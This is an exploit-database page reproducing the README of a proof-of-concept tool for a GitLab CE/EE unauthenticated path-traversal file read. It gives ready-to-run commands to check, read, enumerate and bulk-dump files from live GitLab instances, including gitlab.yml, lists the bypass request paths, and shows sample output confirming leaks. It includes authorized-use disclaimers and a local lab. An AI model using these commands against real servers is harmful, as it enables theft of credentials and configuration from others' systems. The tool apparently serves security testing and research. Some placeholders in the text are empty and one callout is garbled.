Sploitus

Exploit for CVE-2026-85706

githubexploit Β· 2026-09-11

Exploit Code

README169 lines
## https://sploitus.com/exploit?id=9C294560-CD30-59CB-88DA-21806CC44895
# CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read

**CVE-2026-85706** is a critical path-traversal / missing-authentication issue in the GitLab CE/EE
**Repository Commits** and **Repository Files** APIs: an unauthenticated attacker can make the server read
arbitrary files and obtain their content through the error channel. CVSS 3.1 10.0
(`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`).

GitLab's official title is *"Path Traversal issue in repository commits API impacts GitLab CE/EE"*. The fix
shipped on **2026-09-10** in **19.3.2 / 19.2.6 / 19.1.8**.

> [!IMPORTANT]
> Running a self-managed GitLab ** [!WARNING]
> **Authorized use only.** Run this tool only against systems you own or are explicitly permitted to test.

This repository holds an independent proof of concept, a minimal reproduction lab and a full technical
analysis:

- **[ANALYSIS.md](ANALYSIS.md)** - root cause, exploitation, reproduction evidence, mitigation

No data captured from any third-party system is included.

## Quick start

### Option A - local lab (fastest, no GitLab needed)

```bash
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed                 # create the sandbox vault
python vulnerable_api.py --port 8080            # vulnerable build (add --patched to compare)

# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read  --url http://127.0.0.1:8080 --project 1 \
        --file /tmp/cve-2026-85706/canary.txt
```

The lab listens on `127.0.0.1` only and reads only inside its `lab/vault/` sandbox, so it can never touch
files on your real machine.

### Option B - real GitLab CE 19.3.1 (authoritative verification)

```bash
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d      # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project 
```

### Option C - live instance

```bash
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project 
```

Add `--insecure` for self-signed certificates, and prefer the numeric project id over an encoded path
(`--project ` instead of `group%2Fproject`).

## Subcommands

| Command | Purpose | Key options |
|---|---|---|
| `check` | Is the target vulnerable? Compares the responses of every bypass vector | `--canary-path`, `--no-bypass-probe` |
| `read` | Read one file and report whether its content leaks | `--file `, `--media ` |
| `enum` | Probe a list of paths and classify each one | `--wordlist`, `--wordlist-file` |
| `dump` | Save every readable file to disk, with a manifest and the raw responses | `--files`, `--files-file`, `--outdir` |

### Vectors

The labels printed by `check`:

| Label | Request path |
|---|---|
| `commits-trailing-slash` | `POST /api/v4/projects//repository/commits/` |
| `commits-json-suffix` | `POST /api/v4/projects//repository/commits.json` |
| `commits-canonical` | `POST /api/v4/projects//repository/commits` (Workhorse-buffered, control case) |
| `files-trailing-slash` | `POST /api/v4/projects//repository/files//` |
| `files-canonical` | `POST /api/v4/projects//repository/files/` |

### `check` - is the target vulnerable?

```console
$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project  --insecure
form   commits-trailing-slash   HTTP 400  VULNERABLE:existence-oracle
form   commits-json-suffix      HTTP 400  VULNERABLE:existence-oracle
form   commits-canonical        HTTP 401  NOT-VULNERABLE(auth required)
[json and query variants behave identically]

[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
    commits-trailing-slash  without 'file'  HTTP 400  {"error":"file is missing"}
    files-trailing-slash    without 'file'  HTTP 400  {"error":"file is missing"}
    commits-trailing-slash  with    'file=' HTTP 400  VULNERABLE:existence-oracle

[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
    -> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
```

Exit codes: **0** = vulnerable; **1** = not exploitable with the tested vectors (patched, or the route
unreachable).

Two details worth knowing:

- The `Workhorse bypass probe` block is the routing proof: `file` only exists when Workhorse buffered and
  signed the body, so a `400 {"error":"file is missing"}` proves the bypass route skipped that pipeline
  while still reaching the API. On a patched build that last line reads `HTTP 401`.
- The canonical path (`commits-canonical` -> `401`) is the **control case**: there Workhorse rewrites
  `file.path`, so the attacker's value never reaches the vulnerable code.

### `read` - read a single file

```console
$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project  --insecure \
        --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form   commits-trailing-slash   HTTP 400  LEAK!    content disclosed via the Rack parser error
form   commits-canonical        HTTP 401  EXISTS,  parsed without error -> authentication required
```

Exit codes: **0** = content disclosed, or a pre-authentication read confirmed by the baseline; **1** = no
pre-auth read observed.

### `enum` / `dump` - bulk probing

```bash
python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project  --insecure \
        --wordlist-file poc/paths.txt

python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project  --insecure \
        --outdir evidence --files-file poc/paths.txt
```

`poc/paths.txt` ships 45 interesting GitLab/Linux paths; `--wordlist` / `--files` can be given inline or
via a file, and both forms can be combined. These are the only two subcommands that touch real file
contents - write the output outside this repository and never publish what they capture.

## Global options

| Option | Meaning |
|---|---|
| `--url ` | Target base URL (required) |
| `--project ` | Public project id (`123`) or URL-encoded path (`group%2Fproject`), required |
| `--token ` | Optional; test the authenticated path |
| `--insecure` | Skip TLS verification (self-signed certificates) |
| `-v`, `--verbose` | Print every request/response to stderr |
| `--canary-path ` | Guaranteed-missing path used as the vulnerability baseline |
| `--color ` | `auto` (default, colours on a real terminal), `always`, `never` |

Option order matters: shared options go **after** the subcommand - `check --url ... --insecure`, not
`--url ... check`.

## Verification status

| Test | Result |
|---|---|
| **Patched control** - `gitlab.com`, 19.3.2+ | Every vector returns `401`; the only other answer is the `400 {"error":"file is missing"}` that proves the routing bypass |
| **Local lab** - `lab/vulnerable_api.py` | Reproduces the Rails-side trust bug end to end; `--patched` gives the comparison build |
| **Real self-managed instance** - 19.3.1, written authorization | Confirmed vulnerable; host and project details are deliberately not published here. Aggregated results in [ANALYSIS.md, section 4.3](ANALYSIS.md#43-validation-on-a-real-self-managed-instance) |

## Legal

This material is provided for **security research and authorized testing** - your own lab, a bug-bounty
program, or a penetration test with written permission. Only use it against systems you own or are
explicitly allowed to test. Unauthorized access to third-party systems is illegal. Provided as is, without
warranty of any kind.